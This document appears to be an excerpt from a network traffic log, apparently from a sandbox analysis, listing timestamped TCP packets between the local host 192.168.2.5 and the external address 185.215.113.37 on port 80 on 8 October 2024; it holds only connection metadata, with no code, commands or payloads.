Oct 8, 2024 11:18:22.405775070 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.405812025 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.405826092 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.405888081 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405899048 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405909061 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405919075 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405930996 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405941963 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405951977 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405956030 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.405956030 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.405967951 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405971050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.405981064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405991077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.405997038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406003952 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.406025887 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406038046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406045914 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.406048059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406060934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406061888 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.406073093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406096935 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.406096935 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.406121969 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.406194925 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406241894 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406253099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406295061 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.406295061 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.406610012 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406620979 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406627893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406661987 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406672001 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406687021 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406697989 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406703949 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.406703949 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.406708956 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406722069 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406732082 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406765938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.406765938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.406816959 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406827927 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406836987 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406847000 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406857014 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406867027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406872034 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406882048 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406882048 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.406883001 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.406899929 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406903028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.406910896 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406923056 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406928062 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406934023 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406934977 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.406934977 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.406945944 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406961918 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406972885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406982899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.406982899 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.406982899 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.407000065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.407011032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.407021046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.407027960 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.407027960 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.407031059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.407080889 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.407080889 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.407394886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.407485008 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.407530069 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.407540083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.407548904 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.407558918 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.407568932 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.407579899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.407583952 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.407591105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.407632113 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.407632113 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.446530104 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446540117 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446548939 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446695089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446705103 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446708918 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446712971 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446717024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446726084 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446734905 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446743965 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446753025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446757078 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446768999 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446778059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446787119 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446794033 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.446794033 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.446794033 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.446794987 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446805000 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446814060 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446819067 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.446824074 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446832895 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.446835995 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446842909 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446872950 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446882010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446888924 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.446888924 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.446892023 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446902037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446911097 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446927071 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446934938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.446949959 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.446949959 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.446964979 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.447033882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.447045088 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.447052002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.447060108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.447068930 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.447074890 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.447074890 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.447076082 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.447086096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.447096109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.447098017 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.447105885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.447115898 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.447124958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.447133064 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.447133064 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.447134018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.447168112 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.447168112 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498240948 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498281002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498291016 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498338938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498348951 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498358011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498367071 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498372078 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498393059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498403072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498411894 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498421907 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498420954 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498421907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498421907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498421907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498421907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498431921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498459101 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498459101 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498507023 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498509884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498521090 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498528957 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498537064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498547077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498552084 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498555899 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498574972 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498577118 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498585939 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498594999 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498604059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498610973 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498610973 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498613119 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498641014 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498661041 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498668909 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498713017 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498713017 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498725891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498733997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498774052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498774052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498831034 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498841047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498848915 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498857975 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498879910 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498903990 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498914957 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498924017 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498934031 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498944998 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498944998 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498965025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498975039 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498982906 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.498985052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.498992920 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499002934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499011040 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.499037027 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.499058962 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.499103069 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499114037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499121904 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499130964 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499139071 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499167919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499172926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.499172926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.499180079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499191999 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.499192953 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499202967 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499213934 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.499247074 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.499247074 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.499310970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499320984 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499325991 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499334097 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499346972 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499356985 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499365091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499372959 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499381065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499393940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.499393940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.499403000 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499404907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.499413967 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499424934 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.499442101 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.499511003 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.499541044 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499552011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499560118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499567986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.499588966 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.499618053 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.500077009 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.500092030 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.500102043 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.500142097 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.500147104 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.500147104 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.500153065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.500164032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.500173092 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.500181913 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.500196934 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.500216961 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.500634909 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.538928032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.538997889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539043903 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539043903 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539089918 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539100885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539110899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539120913 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539132118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539155960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539158106 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539159060 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539221048 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539232969 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539242029 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539252996 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539263010 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539263010 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539263964 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539275885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539285898 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539297104 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539299965 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539309025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539316893 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539371014 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539371014 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539376020 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539393902 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539408922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539419889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539426088 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539429903 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539442062 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539446115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539457083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539460897 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539469004 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539479971 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539489985 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539500952 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539500952 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539500952 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539519072 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539525032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539530039 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539539099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539554119 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539554119 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539557934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539577007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539588928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539593935 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539599895 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539609909 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539613962 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539621115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539632082 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539643049 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539649010 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539649010 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539654970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539664984 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539669037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.539725065 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.539725065 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.591013908 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.591042042 CEST	80	49706	185.215.113.37	192.168.2.5
